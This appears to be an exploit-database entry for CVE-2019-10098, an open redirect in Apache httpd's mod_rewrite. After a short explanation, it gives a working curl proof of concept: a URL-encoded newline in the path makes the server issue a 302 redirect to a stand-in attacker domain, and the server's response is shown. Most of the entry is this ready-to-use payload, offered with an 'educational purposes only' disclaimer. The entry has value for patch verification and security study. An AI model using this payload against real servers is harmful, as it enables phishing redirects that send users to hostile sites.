Apache httpd mod_rewrite open redirects Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2019-10-14 | Type : webapps | Platform : multiple
This exploit / vulnerability Apache httpd mod_rewrite open redirects is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

Normal URLs like http://redirect.local/test will be forwared to https://redirect.local/test. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to `https://redirect.local.evilwebsite.com`):

```
curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is
HTTP/2 302
date: Mon, 28 Oct 2019 03:36:58 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local.evilwebsite.com
```